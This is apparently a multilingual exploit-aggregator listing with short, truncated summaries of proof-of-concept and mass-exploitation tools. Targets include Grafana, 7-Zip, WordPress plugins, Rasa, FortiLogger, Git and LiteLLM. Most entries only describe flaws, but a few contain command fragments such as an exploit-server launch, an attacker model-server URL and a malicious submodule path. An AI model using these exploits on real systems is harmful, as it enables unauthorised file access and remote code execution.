CVE-2021-43798

CVE-2021-43798 Grafana-Arbitrary-Datei-Lesen 8.0.0 8.3.0 Eine Schwachstelle in Grafana CVE-2021-43798 der Versionen 8.0.0 8.3.0, die es einem nicht authentifizierten Angreifer ermöglicht, beliebige Dateien vom Server auszulesen, indem ein Path-Traversal-Angriff auf den /public/plugins/-Pfad genut...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - Sicherheitslücke in Microsoft Windows Service Tracing zur lokalen Rechteausweitung durch Verschieben beliebiger Dateien Für weitere Informationen: https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

CVE-2025-11001---7-Zip

CVE-2025-11001 - 7-Zip Symlink traversal ad alta gravità in 7-Zip che consente la scrittura arbitraria di file / RCE Corretto in 7-Zip 25.00 luglio 2025 – Exploit pubblico disponibile SOLO PER TEST DI SICUREZZA E RICERCA AUTORIZZATI -critical Riepilogo della vulnerabilità CVE : CVE-2025-11001 CVS...

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ Beschreibung CVE-2026-3891 ist eine kritische Unauthenticated Arbitrary File Upload -Sicherheitslücke, die im Pix for WooCommerce WordPress-Plugin in den Versionen bis einschließlich 1.5.0 gefunden wurde. Die Schwachstelle existiert in der...

CVE-2026-1357

🧨 CVE-2026-1357 – Strumento di sfruttamento WPvivid Null-Key CVE-2026-1357.py Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123 Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto CVE: CVE-2026-1357 – CVSS 9.8 Critico GitHub:...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Einfach direkt ausführen root@kitploit: python server-1.py Beliebiger Datei-Upload root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effekt wie folgt: CVE-2021-41127 server-1.py Standard-Modellname:...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Upload de Arquivo Arbitrário Não Autenticado Metasploit Data: 30-01-2021 Autor do Exploit: Berkan Er [email protected] Página do Fornecedor: https://www.fortilogger.com/ Link do Software: https://www.fortilogger.com/download Versão: 4.4.2.2 Testado em: Windows 1...

CVE-2026-35029-PoC

CVE-2026-35029 — LiteLLM /config/update Schwachstelle für unbefugten Zugriff Broken Access Control Der /config/update-Endpunkt von LiteLLM prüft die Rollenberechtigungen des Aufrufers nicht. Jeder authentifizierte Benutzer mit einem gültigen API-Key ohne Administratorrechte kann die...

grafanaExp

grafanaExp Sfrutta la vulnerabilità di lettura arbitraria di file CVE-2021-43798 di Grafana, rileva automaticamente se esiste una vulnerabilità, i plugin presenti, estrae la chiave, decifra il file db del server e restituisce le informazioni su datasourrce. Utilizzo Fornisce funzionalità exp e...

CVE-2026-78566

The Shuffle theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.8. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to...

CVE-2026-78562

The Verdure Core plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used...

CVE-2018-11235-PoC

CVE-2018-11235 के लिए PoC शोषण root@kitploit: repository: http://REDACTED/2018-11235PoC.git/ return: Submodule 'aaa' https://repo1 registered for path 'aaa' Submodule '../../fakegit/modules/evil' https://repo2 registered for path 'evil' Submodule path 'aaa': checked out...

cve-2022-44268

Exploit su misura per HackTheBox Pilgrimage Script Python automatico che utilizza cve-2022-44268 per aggiungere un valore di profilo con un nome file da una filelist di input in un file di input, aggiornare il caricamento dell'immagine usando un file request.req di input da Burpsuite già incluso...

CVE-2026-37065

CVE-2026-37065 Veno File Manager Project 4.4.9 è vulnerabile alla cancellazione arbitraria di file. Per sfruttare la vulnerabilità, un attaccante autenticato con il ruolo di superadmin può inviare una richiesta POST appositamente predisposta all'endpoint interessato utilizzando il parametro url...

CVE-2022-3368

CVE-2022-3368 PoC per la vulnerabilità di spostamento arbitrario di file nel componente Software Update di Avira Security. Gli utenti hanno la possibilità di usare questa funzione per aggiornare qualsiasi software obsoleto sul proprio PC; quando questa funzione viene usata, il servizio Avira...

CVE-2021-23394

Configurazione di riproduzione di elFinder CVE-2021-23394 Questo repository contiene una configurazione di riproduzione per CVE-2021-23394 Esecuzione arbitraria di file in elFinder utilizzando Docker. Configura quattro ambienti per confrontare le versioni vulnerabili e corrette su Apache e Nginx...

EUVD-2026-65326

The Shuffle theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.8. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to...

EUVD-2026-65325

The Verdure Core plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used...

WooRefer

WooRefer | CVE-2022-4047 - Reso, Rimborso e Scambio per WooCommerce Strumento automatico di massa per verificare e sfruttare la vulnerabilità in CVE-2022-4047 - Reso, Rimborso e Scambio per WooCommerce install.sh sha1sum install.sh | grep 12345678 md5sum install.sh...

JBWPer

JBWPer | CVE-2022-4061 - JobBoardWP Automatisches Massentool zum Überprüfen und Ausnutzen der Schwachstelle CVE-2022-4061 - JobBoardWP install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh...